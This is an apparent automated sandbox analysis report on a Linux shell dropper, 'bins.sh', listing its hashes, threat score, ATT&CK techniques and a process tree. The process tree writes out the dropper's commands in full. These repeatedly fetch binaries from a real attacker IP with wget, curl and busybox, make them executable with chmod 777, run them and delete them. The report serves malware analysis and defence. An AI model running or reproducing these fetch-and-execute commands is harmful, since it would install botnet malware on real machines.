8eb9e769aba2765264b05345252e74acb782904d8b464443a8141334d692b53b

Analysis

max time kernel
133s
max time network
137s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
21/11/2024, 22:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241121-1wt5payjd1
SHA256 8eb9e769aba2765264b05345252e74acb782904d8b464443a8141334d692b53b
MD5 e3cced1828543c59cb516643aefa7aee
SHA1 af3cad331188573d46daf9353ac19a667d44ec37
SHA512 17a97355f57beaebb3ab023b8030ab0f42992d083f795e6616047a74631a92ea4630defb4866ef586d76537eb462908e4881e3f2c03a84169322d2f5eaf7cb9f
SSDEEP 192:mZ5UxxnLvcahh/FtJ7OCw7rPReSm7/M/U/3qWbnTaWKS7VjVnVwJpIMrMPM1TQAI:0Ws4byq3qWBhZVwJpBAk1TQAZZVwJpHR
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
804	chmod
901	chmod
908	chmod
737	chmod
950	chmod
971	chmod
779	chmod
821	chmod
889	chmod
932	chmod
938	chmod
977	chmod
743	chmod
815	chmod
846	chmod
926	chmod
944	chmod
882	chmod
920	chmod
957	chmod
827	chmod
875	chmod
895	chmod
914	chmod
964	chmod
728	chmod
760	chmod
866	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 40 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	curl
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	wget
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	curl
File opened for modification	/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	curl
File opened for modification	/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	wget
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	wget
File opened for modification	/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	curl
File opened for modification	/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	busybox
File opened for modification	/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	curl
File opened for modification	/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	curl
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	curl
File opened for modification	/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	curl
File opened for modification	/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	curl
File opened for modification	/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	busybox
File opened for modification	/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	curl
File opened for modification	/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	curl
File opened for modification	/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	curl
File opened for modification	/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	curl
File opened for modification	/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	curl
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	busybox
File opened for modification	/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	busybox
File opened for modification	/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	curl
File opened for modification	/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	curl
File opened for modification	/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	curl
File opened for modification	/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	curl
File opened for modification	/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	wget
File opened for modification	/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	curl
File opened for modification	/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	curl
File opened for modification	/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	wget
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	busybox
File opened for modification	/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	busybox
File opened for modification	/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	curl
File opened for modification	/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	curl
File opened for modification	/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	wget
File opened for modification	/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	curl
File opened for modification	/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	curl
File opened for modification	/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	curl
File opened for modification	/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	curl
File opened for modification	/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	curl
File opened for modification	/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://87.120.125.191/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:714
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Writes file to tmp directory
  PID:725
- /bin/chmod
  chmod 777 bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  ./bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Executes dropped EXE
  PID:729
- /bin/rm
  rm bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:732
- /usr/bin/wget
  wget http://87.120.125.191/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:733
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:735
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:736
- /bin/chmod
  chmod 777 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  ./4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:739
- /usr/bin/wget
  wget http://87.120.125.191/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:742
- /bin/chmod
  chmod 777 SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  ./SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:745
- /usr/bin/wget
  wget http://87.120.125.191/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:755
- /bin/chmod
  chmod 777 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  ./2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:764
- /usr/bin/wget
  wget http://87.120.125.191/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:777
- /bin/chmod
  chmod 777 ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  ./ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Executes dropped EXE
  PID:781
- /bin/rm
  rm ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:784
- /usr/bin/wget
  wget http://87.120.125.191/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:801
- /bin/chmod
  chmod 777 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  ./6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Executes dropped EXE
  PID:805
- /bin/rm
  rm 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:809
- /usr/bin/wget
  wget http://87.120.125.191/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:814
- /bin/chmod
  chmod 777 UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  ./UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:817
- /usr/bin/wget
  wget http://87.120.125.191/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:820
- /bin/chmod
  chmod 777 w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  ./w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:823
- /usr/bin/wget
  wget http://87.120.125.191/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:826
- /bin/chmod
  chmod 777 YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  ./YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:829
- /usr/bin/wget
  wget http://87.120.125.191/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:843
- /bin/chmod
  chmod 777 kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  ./kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Executes dropped EXE
  PID:847
- /bin/rm
  rm kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:850
- /usr/bin/wget
  wget http://87.120.125.191/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:864
- /bin/chmod
  chmod 777 EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  ./EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:870
- /usr/bin/wget
  wget http://87.120.125.191/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Writes file to tmp directory
  PID:872
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Writes file to tmp directory
  PID:874
- /bin/chmod
  chmod 777 PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  ./PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:878
- /usr/bin/wget
  wget http://87.120.125.191/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Writes file to tmp directory
  PID:879
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Writes file to tmp directory
  PID:881
- /bin/chmod
  chmod 777 FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  ./FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.125.191/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:888
- /bin/chmod
  chmod 777 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  ./2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.125.191/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:894
- /bin/chmod
  chmod 777 SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  ./SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.125.191/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Writes file to tmp directory
  PID:898
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Writes file to tmp directory
  PID:900
- /bin/chmod
  chmod 777 bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  ./bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.125.191/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:907
- /bin/chmod
  chmod 777 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  ./4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.125.191/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:913
- /bin/chmod
  chmod 777 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  ./6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.125.191/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:919
- /bin/chmod
  chmod 777 UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  ./UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:922
- /usr/bin/wget
  wget http://87.120.125.191/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:925
- /bin/chmod
  chmod 777 w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  ./w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:928
- /usr/bin/wget
  wget http://87.120.125.191/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:931
- /bin/chmod
  chmod 777 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  ./2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.125.191/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:937
- /bin/chmod
  chmod 777 ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  ./ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:940
- /usr/bin/wget
  wget http://87.120.125.191/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:943
- /bin/chmod
  chmod 777 EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  ./EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:946
- /usr/bin/wget
